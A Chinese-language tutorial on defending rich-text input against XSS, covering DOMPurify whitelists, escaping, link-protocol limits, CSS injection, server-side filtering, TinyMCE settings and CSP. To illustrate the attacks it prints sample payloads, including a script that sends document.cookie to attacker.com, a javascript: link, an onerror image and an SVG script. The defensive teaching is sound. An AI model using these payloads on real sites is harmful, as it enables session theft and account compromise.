富文本输入的安全处理(如 XSS 过滤)
富文本输入的安全处理(如 XSS 过滤)
富文本输入是 Web 应用中常见的功能,允许用户输入带格式的内容,如加粗、斜体、链接等。然而,这也带来了严重的安全风险,尤其是跨站脚本攻击(XSS)。XSS 攻击者可以通过注入恶意脚本,窃取用户数据或执行未授权操作。因此,正确处理富文本输入是前端安全的关键环节。
XSS 攻击的基本原理
XSS 攻击通常分为三类:存储型、反射型和 DOM 型。富文本输入最容易引发存储型 XSS,因为用户提交的内容会被持久化到数据库,并在其他用户访问时渲染到页面上。例如:
<script>alert('XSS');</script>
如果这段脚本未经处理直接渲染到页面,就会执行弹窗操作。更危险的场景是攻击者通过 document.cookie
窃取用户会话信息:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>
富文本过滤的基本策略
白名单过滤
白名单过滤是最常见的防御手段,只允许特定的 HTML 标签和属性通过。例如,允许 <b>
、<i>
、<a>
等基础标签,但禁止 <script>
、<iframe>
等危险标签。以下是使用 DOMPurify 库的示例:
import DOMPurify from 'dompurify';
const dirtyHtml = '<script>alert("XSS")</script><b>Safe text</b>';
const cleanHtml = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'a'],
ALLOWED_ATTR: ['href', 'title']
});
console.log(cleanHtml); // 输出: <b>Safe text</b>
转义特殊字符
对于不需要保留 HTML 标签的场景,可以直接转义特殊字符。例如,将 <
转义为 <
,>
转义为 >
。这样可以完全避免 HTML 注入:
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
const userInput = '<script>alert("XSS")</script>';
console.log(escapeHtml(userInput)); // 输出: <script>alert("XSS")</script>
处理富文本中的链接和事件
即使允许 <a>
标签,也需要警惕 href
属性中的 JavaScript 协议或其他恶意内容:
<a href="javascript:alert('XSS')">Click me</a>
可以通过白名单限制协议,只允许 http
、https
和 mailto
:
const dirtyLink = '<a href="javascript:alert(\'XSS\')">Click me</a>';
const cleanLink = DOMPurify.sanitize(dirtyLink, {
ALLOWED_TAGS: ['a'],
ALLOWED_ATTR: ['href'],
ALLOWED_URI_REGEXP: /^(https?|mailto):/i
});
console.log(cleanLink); // 输出: <a>Click me</a> (href 被移除)
类似地,需要禁止 onclick
、onmouseover
等事件属性:
<div onclick="alert('XSS')">Hover me</div>
处理 CSS 和样式注入
富文本中的 style
属性也可能被滥用,例如通过 CSS 表达式或 url()
执行脚本:
<div style="background: expression(alert('XSS'))">Styled content</div>
解决方案是限制 style
属性的内容,或完全禁止:
const dirtyStyle = '<div style="background: expression(alert(\'XSS\'))">Content</div>';
const cleanStyle = DOMPurify.sanitize(dirtyStyle, {
ALLOWED_TAGS: ['div'],
FORBID_ATTR: ['style']
});
console.log(cleanStyle); // 输出: <div>Content</div>
服务端与客户端的协同防御
前端过滤不能替代服务端验证。攻击者可能绕过前端直接向 API 提交恶意数据。因此,服务端也需要对富文本进行过滤:
// Node.js 示例(使用 dompurify)
const express = require('express');
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const app = express();
app.use(express.json());
app.post('/save-content', (req, res) => {
const dirtyHtml = req.body.content;
const window = new JSDOM('').window;
const purify = DOMPurify(window);
const cleanHtml = purify.sanitize(dirtyHtml, { ALLOWED_TAGS: ['b', 'i'] });
// 存储 cleanHtml 到数据库
res.send({ success: true });
});
富文本编辑器的安全配置
常见的富文本编辑器(如 TinyMCE、CKEditor)提供了安全配置选项。以 TinyMCE 为例:
tinymce.init({
selector: '#editor',
plugins: 'link',
valid_elements: 'b,i,a[href|title]',
valid_styles: { '*': 'color,font-size' },
content_security_policy: "script-src 'self'"
});
内容安全策略(CSP)的补充作用
即使过滤了富文本,CSP 也能作为最后一道防线。例如,禁止内联脚本和执行外部脚本:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
实际案例分析
某社交平台曾因富文本过滤不严导致存储型 XSS 攻击。攻击者在个人简介中注入以下内容:
<img src="x" onerror="stealCookies()">
修复方案是升级过滤库并限制 onerror
等事件属性:
DOMPurify.sanitize(userInput, {
FORBID_ATTR: ['onerror', 'onload'],
FORBID_TAGS: ['img']
});
持续监控与更新
XSS 攻击手法不断演变,过滤规则也需要定期更新。例如,SVG 标签和 data:
协议也曾被滥用:
<svg><script>alert('XSS')</script></svg>
解决方案是及时更新 DOMPurify 等库,并关注新的漏洞公告。
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益,请来信告知我们删除。邮箱:cc@cccx.cn
上一篇:防止 NoSQL 注入的前端措施
下一篇:HTTPS 的基本原理与作用